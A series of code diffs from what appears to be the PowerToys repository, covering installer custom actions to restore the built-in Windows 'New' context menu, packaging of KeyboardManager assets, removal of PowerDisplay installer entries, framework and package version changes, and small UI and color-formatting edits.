Write-Host "Attempt $attempts`: Resolving conflicts..." -ForegroundColor Yellow
foreach ($file in $conflicts) {
Write-Host " Resolving: $file"
git checkout --ours $file 2>$null
}
# Handle deleted files
git status --short | Where-Object { $_ -match '^DU' } | ForEach-Object {
$file = ($_ -split '\s+', 2)[1]
Write-Host " Removing deleted: $file"
git rm $file 2>$null
}
git add . 2>$null
}
# Try to continue
$result = git cherry-pick --continue 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host " Continued successfully" -ForegroundColor Green
}
elseif ($result -match 'empty') {
Write-Host " Skipping empty commit" -ForegroundColor Cyan
git cherry-pick --skip 2>&1 | Out-Null
}
else {
Write-Host " Error: $result" -ForegroundColor Red
Start-Sleep -Seconds 1
}
}
if ($attempts -ge $MaxAttempts) {
Write-Host "Max attempts reached. Check status manually." -ForegroundColor Red
}

View File

@@ -3,9 +3,9 @@
- [ ] The plugin is a project under `modules\launcher\Plugins`
- [ ] Microsoft plugin project name pattern: `Microsoft.PowerToys.Run.Plugin.{PluginName}`
- [ ] Community plugin project name pattern: `Community.PowerToys.Run.Plugin.{PluginName}`
- [ ] The plugin target framework should be `net10.0-windows10.0.22621.0`
- [ ] The plugin target framework should be `net9.0-windows10.0.22621.0`
- [ ] If the plugin uses any 3rd party dependencies the project file should import `DynamicPlugin.props`
- [ ] 3rd party dependencies must be compatible with .NET 10
- [ ] 3rd party dependencies must be compatible with .NET 9
- [ ] The plugin has to contain a `plugin.json` file of the following format in its root folder:
```json

View File

@@ -141,3 +141,10 @@ Note: The DllHost process loads the DLL only when the context menu is triggered
- A signature issue with the MSIX package
- For development and testing, using the Windows 10 handler can be easier since it doesn't require signing.
## Restoring Built-in Windows New context menu
If the Windows 11 built-in New context menu doesn't reappear on uninstalling PowerToys, some issue with settings etc. here's how to restore the built-in New context menu.
1. Open Registry Editor
1. Go to the key "Computer\HKEY_CURRENT_USER\Software\Classes\Directory\background\ShellEx\ContextMenuHandlers"
1. Delete the "New" subkey (i.e. fullpath "Computer\HKEY_CURRENT_USER\Software\Classes\Directory\background\ShellEx\ContextMenuHandlers\New")

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After

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View File

@@ -1119,6 +1119,35 @@ LExit:
return WcaFinalize(er);
}
UINT __stdcall RestoreBuiltInNewContextMenuCA(MSIHANDLE hInstall)
{
HRESULT hr = S_OK;
hr = WcaInitialize(hInstall, "RestoreBuiltInNewContextMenuCA");
constexpr wchar_t built_in_new_registry_path[] = LR"(Software\Classes\Directory\Background\ShellEx\ContextMenuHandlers\New)";
HKEY key{};
if (RegOpenKeyExW(HKEY_CURRENT_USER,
built_in_new_registry_path,
0,
KEY_ALL_ACCESS,
&key) != ERROR_SUCCESS)
{
return WcaFinalize(ERROR_SUCCESS);
}
if (RegDeleteValueW(key, nullptr) != ERROR_SUCCESS)
{
RegCloseKey(key);
return WcaFinalize(ERROR_SUCCESS);
}
RegCloseKey(key);
return WcaFinalize(ERROR_SUCCESS);
}
UINT __stdcall TelemetryLogInstallSuccessCA(MSIHANDLE hInstall)
{
HRESULT hr = S_OK;
@@ -1565,7 +1594,6 @@ UINT __stdcall TerminateProcessesCA(MSIHANDLE hInstall)
L"PowerToys.PowerRename.exe",
L"PowerToys.ImageResizer.exe",
L"PowerToys.LightSwitchService.exe",
L"PowerToys.PowerDisplay.exe",
L"PowerToys.GcodeThumbnailProvider.exe",
L"PowerToys.BgcodeThumbnailProvider.exe",
L"PowerToys.PdfThumbnailProvider.exe",

View File

@@ -7,6 +7,7 @@ EXPORTS
ApplyModulesRegistryChangeSetsCA
DetectPrevInstallPathCA
RemoveScheduledTasksCA
RestoreBuiltInNewContextMenuCA
TelemetryLogInstallSuccessCA
TelemetryLogInstallCancelCA
TelemetryLogInstallFailCA

View File

@@ -22,6 +22,16 @@
<ComponentGroup Id="DscResourcesComponentGroup">
<ComponentRef Id="PowerToysDSCReference" />
<?if $(var.PerUser) = "false" ?>
<Component Id="SecureDSCModulesFolder" Guid="7D2F4E57-CCB2-4F89-9B8B-62E9B3CC4E12" Directory="DSCModulesReferenceFolder" Bitness="always64">
<RegistryKey Root="$(var.RegistryScope)" Key="Software\Classes\powertoys\components">
<RegistryValue Type="string" Name="SecureDSCModulesFolder" Value="" KeyPath="yes" />
</RegistryKey>
<CreateFolder>
<PermissionEx Sddl="D:PAI(A;OICI;GA;;;SY)(A;OICI;GA;;;BA)(A;OICI;GRGX;;;BU)(A;OICIIO;GA;;;CO)" />
</CreateFolder>
</Component>
<?endif?>
<Component Id="RemoveDSCModulesFolder" Guid="A3C77D92-4E97-4C1A-9F2E-8B3C5D6E7F80" Directory="DSCModulesReferenceFolder">
<RegistryKey Root="$(var.RegistryScope)" Key="Software\Classes\powertoys\components">
<RegistryValue Type="string" Name="RemoveDSCModulesFolder" Value="" KeyPath="yes" />

View File

@@ -2,7 +2,29 @@
<?include $(sys.CURRENTDIR)\Common.wxi?>
<?define KeyboardManagerAssetsFiles=?>
<?define KeyboardManagerAssetsWinUI3Files=?>
<?define KeyboardManagerAssetsFilesPath=$(var.BinDir)\Assets\KeyboardManager\?>
<?define KeyboardManagerAssetsWinUI3FilesPath=$(var.BinDir)\WinUI3Apps\Assets\KeyboardManagerEditor\?>
<Fragment>
<DirectoryRef Id="BaseApplicationsAssetsFolder">
<Directory Id="KeyboardManagerAssetsInstallFolder" Name="KeyboardManager" />
</DirectoryRef>
<DirectoryRef Id="WinUI3AppsAssetsFolder">
<Directory Id="KeyboardManagerAssetsWinUI3InstallFolder" Name="KeyboardManagerEditor" />
</DirectoryRef>
<DirectoryRef Id="KeyboardManagerAssetsInstallFolder" FileSource="$(var.KeyboardManagerAssetsFilesPath)">
<!-- Generated by generateFileComponents.ps1 -->
<!--KeyboardManagerAssetsFiles_Component_Def-->
</DirectoryRef>
<DirectoryRef Id="KeyboardManagerAssetsWinUI3InstallFolder" FileSource="$(var.KeyboardManagerAssetsWinUI3FilesPath)">
<!-- Generated by generateFileComponents.ps1 -->
<!--KeyboardManagerAssetsWinUI3Files_Component_Def-->
</DirectoryRef>
<DirectoryRef Id="INSTALLFOLDER">
<Directory Id="KeyboardManagerEditorInstallFolder" Name="KeyboardManagerEditor" />
<Directory Id="KeyboardManagerEngineInstallFolder" Name="KeyboardManagerEngine" />
@@ -44,6 +66,8 @@
<RegistryKey Root="$(var.RegistryScope)" Key="Software\Classes\powertoys\components">
<RegistryValue Type="string" Name="RemoveKeyboardManagerFolder" Value="" KeyPath="yes" />
</RegistryKey>
<RemoveFolder Id="RemoveFolderKeyboardManagerAssetsInstallFolder" Directory="KeyboardManagerAssetsInstallFolder" On="uninstall" />
<RemoveFolder Id="RemoveFolderKeyboardManagerAssetsWinUI3InstallFolder" Directory="KeyboardManagerAssetsWinUI3InstallFolder" On="uninstall" />
<RemoveFolder Id="RemoveFolderKeyboardManagerEditorFolder" Directory="KeyboardManagerEditorInstallFolder" On="uninstall" />
<RemoveFolder Id="RemoveFolderKeyboardManagerEngineFolder" Directory="KeyboardManagerEngineInstallFolder" On="uninstall" />
</Component>

View File

@@ -47,7 +47,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
call move /Y ..\..\..\NewPlus.wxs.bk ..\..\..\NewPlus.wxs
call move /Y ..\..\..\Peek.wxs.bk ..\..\..\Peek.wxs
call move /Y ..\..\..\PowerRename.wxs.bk ..\..\..\PowerRename.wxs
call move /Y ..\..\..\PowerDisplay.wxs.bk ..\..\..\PowerDisplay.wxs
call move /Y ..\..\..\Product.wxs.bk ..\..\..\Product.wxs
call move /Y ..\..\..\RegistryPreview.wxs.bk ..\..\..\RegistryPreview.wxs
call move /Y ..\..\..\Resources.wxs.bk ..\..\..\Resources.wxs
@@ -124,7 +123,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
<Compile Include="KeyboardManager.wxs" />
<Compile Include="Peek.wxs" />
<Compile Include="PowerRename.wxs" />
<Compile Include="PowerDisplay.wxs" />
<Compile Include="DscResources.wxs" />
<Compile Include="RegistryPreview.wxs" />
<Compile Include="Run.wxs" />

View File

@@ -53,7 +53,6 @@
<ComponentGroupRef Id="LightSwitchComponentGroup" />
<ComponentGroupRef Id="PeekComponentGroup" />
<ComponentGroupRef Id="PowerRenameComponentGroup" />
<ComponentGroupRef Id="PowerDisplayComponentGroup" />
<ComponentGroupRef Id="RegistryPreviewComponentGroup" />
<ComponentGroupRef Id="RunComponentGroup" />
<ComponentGroupRef Id="SettingsComponentGroup" />
@@ -162,6 +161,9 @@
<!-- Clean Video Conference Mute registry keys that might be around from previous installations. We've deprecated this utility since then. -->
<Custom Action="CleanVideoConferenceRegistry" Before="InstallFinalize" Condition="NOT Installed" />
<!-- Restore built-in "New" context menu in case user disabled it via New+ -->
<Custom Action="RestoreBuiltInNewContextMenu" Before="RemoveFiles" Condition="Installed AND (REMOVE=&quot;ALL&quot;)" />
</InstallExecuteSequence>
<CustomAction Id="SetLaunchPowerToysParam" Property="LaunchPowerToys" Value="[INSTALLFOLDER]" />
@@ -263,6 +265,8 @@
<CustomAction Id="SetBundleInstallLocation" Return="ignore" Impersonate="no" Execute="deferred" DllEntry="SetBundleInstallLocationCA" BinaryRef="PTCustomActions" />
<CustomAction Id="RestoreBuiltInNewContextMenu" Return="ignore" Impersonate="yes" Execute="deferred" DllEntry="RestoreBuiltInNewContextMenuCA" BinaryRef="PTCustomActions" />
<!-- Close 'PowerToys.exe' before uninstall-->
<Property Id="MSIRESTARTMANAGERCONTROL" Value="DisableShutdown" />
<Property Id="MSIFASTINSTALL" Value="DisableShutdown" />

View File

@@ -172,14 +172,16 @@ Generate-FileComponents -fileListName "HostsAssetsFiles" -wxsFilePath $PSScriptR
Generate-FileList -fileDepsJson "" -fileListName ImageResizerAssetsFiles -wxsFilePath $PSScriptRoot\ImageResizer.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\ImageResizer"
Generate-FileComponents -fileListName "ImageResizerAssetsFiles" -wxsFilePath $PSScriptRoot\ImageResizer.wxs
#KeyboardManager
Generate-FileList -fileDepsJson "" -fileListName KeyboardManagerAssetsFiles -wxsFilePath $PSScriptRoot\KeyboardManager.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\Assets\KeyboardManager"
Generate-FileList -fileDepsJson "" -fileListName KeyboardManagerAssetsWinUI3Files -wxsFilePath $PSScriptRoot\KeyboardManager.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\KeyboardManagerEditor"
Generate-FileComponents -fileListName "KeyboardManagerAssetsFiles" -wxsFilePath $PSScriptRoot\KeyboardManager.wxs
Generate-FileComponents -fileListName "KeyboardManagerAssetsWinUI3Files" -wxsFilePath $PSScriptRoot\KeyboardManager.wxs
# Light Switch Service
Generate-FileList -fileDepsJson "" -fileListName LightSwitchFiles -wxsFilePath $PSScriptRoot\LightSwitch.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\LightSwitchService"
Generate-FileComponents -fileListName "LightSwitchFiles" -wxsFilePath $PSScriptRoot\LightSwitch.wxs
#PowerDisplay
Generate-FileList -fileDepsJson "" -fileListName PowerDisplayAssetsFiles -wxsFilePath $PSScriptRoot\PowerDisplay.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\PowerDisplay"
Generate-FileComponents -fileListName "PowerDisplayAssetsFiles" -wxsFilePath $PSScriptRoot\PowerDisplay.wxs
#New+
Generate-FileList -fileDepsJson "" -fileListName NewPlusAssetsFiles -wxsFilePath $PSScriptRoot\NewPlus.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\NewPlus"
Generate-FileComponents -fileListName "NewPlusAssetsFiles" -wxsFilePath $PSScriptRoot\NewPlus.wxs

View File

@@ -8,10 +8,10 @@ SET VCToolsVersion=!VCToolsVersion!
SET ClearDevCommandPromptEnvVars=false
rem In case of Release we should not use Debug CRT in VCRT forwarders
msbuild !PTRoot!\src\modules\previewpane\MonacoPreviewHandler\MonacoPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net10.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\MonacoPreviewHandler\MonacoPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net9.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\MarkdownPreviewHandler\MarkdownPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net10.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\MarkdownPreviewHandler\MarkdownPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net9.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\SvgPreviewHandler\SvgPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net10.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\SvgPreviewHandler\SvgPreviewHandler.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net9.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\SvgThumbnailProvider\SvgThumbnailProvider.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net10.0-windows10.0.26100.0
msbuild !PTRoot!\src\modules\previewpane\SvgThumbnailProvider\SvgThumbnailProvider.csproj -t:Publish -p:Configuration="Release" -p:Platform="!PlatformArg!" -p:AppxBundle=Never -p:PowerToysRoot=!PTRoot! -p:VCRTForwarders-IncludeDebugCRT=false -p:PublishProfile=InstallationPublishProfile.pubxml -p:TargetFramework=net9.0-windows10.0.26100.0

View File

@@ -62,7 +62,7 @@
<Import Project="$(RepoRoot)deps\spdlog.props" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -70,6 +70,6 @@
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -4,7 +4,7 @@
<Import Project=".\Common.Dotnet.PrepareGeneratedFolder.targets" />
<PropertyGroup>
<CoreTargetFramework>net10.0</CoreTargetFramework>
<CoreTargetFramework>net9.0</CoreTargetFramework>
<WindowsSdkPackageVersion>10.0.26100.68-preview</WindowsSdkPackageVersion>
<TargetFramework>$(CoreTargetFramework)-windows10.0.26100.0</TargetFramework>
<TargetPlatformMinVersion>10.0.19041.0</TargetPlatformMinVersion>

View File

@@ -117,4 +117,4 @@
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
</Project>

View File

@@ -68,7 +68,7 @@
<Import Project="$(RepoRoot)deps\spdlog.props" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -76,6 +76,6 @@
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -36,12 +36,12 @@
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -4,7 +4,7 @@
<PropertyGroup>
<OutputType>Library</OutputType>
<TargetFramework>net10.0-windows10.0.26100.0</TargetFramework>
<TargetFramework>net9.0-windows10.0.26100.0</TargetFramework>
<RootNamespace>Microsoft.PowerToys.Common.UI.Controls</RootNamespace>
<AssemblyName>PowerToys.Common.UI.Controls</AssemblyName>
<UseWinUI>true</UseWinUI>

View File

@@ -1,11 +1,11 @@
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:local="using:Microsoft.PowerToys.Common.UI.Controls">
xmlns:commoncontrols="using:Microsoft.PowerToys.Common.UI.Controls">
<Style BasedOn="{StaticResource DefaultKeyVisualStyle}" TargetType="local:KeyVisual" />
<Style BasedOn="{StaticResource DefaultKeyVisualStyle}" TargetType="commoncontrols:KeyVisual" />
<Style x:Key="DefaultKeyVisualStyle" TargetType="local:KeyVisual">
<Style x:Key="DefaultKeyVisualStyle" TargetType="commoncontrols:KeyVisual">
<Setter Property="MinWidth" Value="16" />
<Setter Property="AutomationProperties.AccessibilityView" Value="Raw" />
<Setter Property="IsTabStop" Value="False" />
@@ -25,7 +25,7 @@
<Setter Property="VerticalAlignment" Value="Center" />
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local:KeyVisual">
<ControlTemplate TargetType="commoncontrols:KeyVisual">
<Grid
x:Name="KeyHolder"
MinWidth="{TemplateBinding MinWidth}"
@@ -40,7 +40,7 @@
<Grid.BackgroundTransition>
<BrushTransition Duration="0:0:0.083" />
</Grid.BackgroundTransition>
<local:KeyCharPresenter
<commoncontrols:KeyCharPresenter
x:Name="KeyPresenter"
Margin="{TemplateBinding Padding}"
HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}"
@@ -87,12 +87,12 @@
<Style
x:Key="SubtleKeyVisualStyle"
BasedOn="{StaticResource DefaultKeyVisualStyle}"
TargetType="local:KeyVisual">
TargetType="commoncontrols:KeyVisual">
<Setter Property="Background" Value="{ThemeResource SubtleFillColorTransparentBrush}" />
<Setter Property="BorderBrush" Value="{ThemeResource SubtleFillColorTransparentBrush}" />
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local:KeyVisual">
<ControlTemplate TargetType="commoncontrols:KeyVisual">
<Grid
x:Name="KeyHolder"
MinWidth="{TemplateBinding MinWidth}"
@@ -106,7 +106,7 @@
<Grid.BackgroundTransition>
<BrushTransition Duration="0:0:0.083" />
</Grid.BackgroundTransition>
<local:KeyCharPresenter
<commoncontrols:KeyCharPresenter
x:Name="KeyPresenter"
Margin="{TemplateBinding Padding}"
HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}"
@@ -145,14 +145,14 @@
<Style
x:Key="AccentKeyVisualStyle"
BasedOn="{StaticResource DefaultKeyVisualStyle}"
TargetType="local:KeyVisual">
TargetType="commoncontrols:KeyVisual">
<Setter Property="Background" Value="{ThemeResource AccentFillColorDefaultBrush}" />
<Setter Property="Foreground" Value="{ThemeResource TextOnAccentFillColorPrimaryBrush}" />
<Setter Property="BorderBrush" Value="{ThemeResource AccentControlElevationBorderBrush}" />
<Setter Property="BackgroundSizing" Value="OuterBorderEdge" />
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="local:KeyVisual">
<ControlTemplate TargetType="commoncontrols:KeyVisual">
<Grid
x:Name="KeyHolder"
MinWidth="{TemplateBinding MinWidth}"
@@ -168,7 +168,7 @@
<Grid.BackgroundTransition>
<BrushTransition Duration="0:0:0.083" />
</Grid.BackgroundTransition>
<local:KeyCharPresenter
<commoncontrols:KeyCharPresenter
x:Name="KeyPresenter"
Margin="{TemplateBinding Padding}"
HorizontalAlignment="{TemplateBinding HorizontalContentAlignment}"

View File

@@ -14,6 +14,7 @@
<ItemGroup>
<PackageReference Include="Markdig.Signed" />
<PackageReference Include="System.Text.Encoding.CodePages" />
<PackageReference Include="UTF.Unknown" />
</ItemGroup>
</Project>

View File

@@ -292,4 +292,8 @@ namespace winrt::PowerToys::GPOWrapper::implementation
{
return static_cast<GpoRuleConfigured>(powertoys_gpo::getConfiguredRunAtStartupValue());
}
GpoRuleConfigured GPOWrapper::GetConfiguredNewPlusHideBuiltInNewContextMenuValue()
{
return static_cast<GpoRuleConfigured>(powertoys_gpo::getConfiguredNewPlusHideBuiltInNewContextMenuValue());
}
}

View File

@@ -78,6 +78,7 @@ namespace winrt::PowerToys::GPOWrapper::implementation
static GpoRuleConfigured GetAllowDataDiagnosticsValue();
static GpoRuleConfigured GetConfiguredRunAtStartupValue();
static GpoRuleConfigured GetConfiguredNewPlusReplaceVariablesValue();
static GpoRuleConfigured GetConfiguredNewPlusHideBuiltInNewContextMenuValue();
};
}

View File

@@ -82,6 +82,7 @@ namespace PowerToys
static GpoRuleConfigured GetAllowDataDiagnosticsValue();
static GpoRuleConfigured GetConfiguredRunAtStartupValue();
static GpoRuleConfigured GetConfiguredNewPlusReplaceVariablesValue();
static GpoRuleConfigured GetConfiguredNewPlusHideBuiltInNewContextMenuValue();
}
}
}

View File

@@ -515,8 +515,7 @@ namespace ManagedCommon
return lightnessL.ToString(CultureInfo.InvariantCulture);
case "Lc":
var (lightnessC, _, _) = ConvertToCIELABColor(color);
lightnessC = Math.Round(lightnessC, 2);
return lightnessC.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(lightnessC, paramFormat, 2);
case "Lo":
var (lightnessO, _, _) = ConvertToOklabColor(color);
lightnessO = Math.Round(lightnessO, 2);
@@ -531,12 +530,10 @@ namespace ManagedCommon
return blackness.ToString(CultureInfo.InvariantCulture);
case "Ca":
var (_, chromaticityA, _) = ConvertToCIELABColor(color);
chromaticityA = Math.Round(chromaticityA, 2);
return chromaticityA.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityA, paramFormat, 2);
case "Cb":
var (_, _, chromaticityB) = ConvertToCIELABColor(color);
chromaticityB = Math.Round(chromaticityB, 2);
return chromaticityB.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityB, paramFormat, 2);
case "Oa":
var (_, chromaticityAOklab, _) = ConvertToOklabColor(color);
chromaticityAOklab = Math.Round(chromaticityAOklab, 2);
@@ -595,6 +592,24 @@ namespace ManagedCommon
}
}
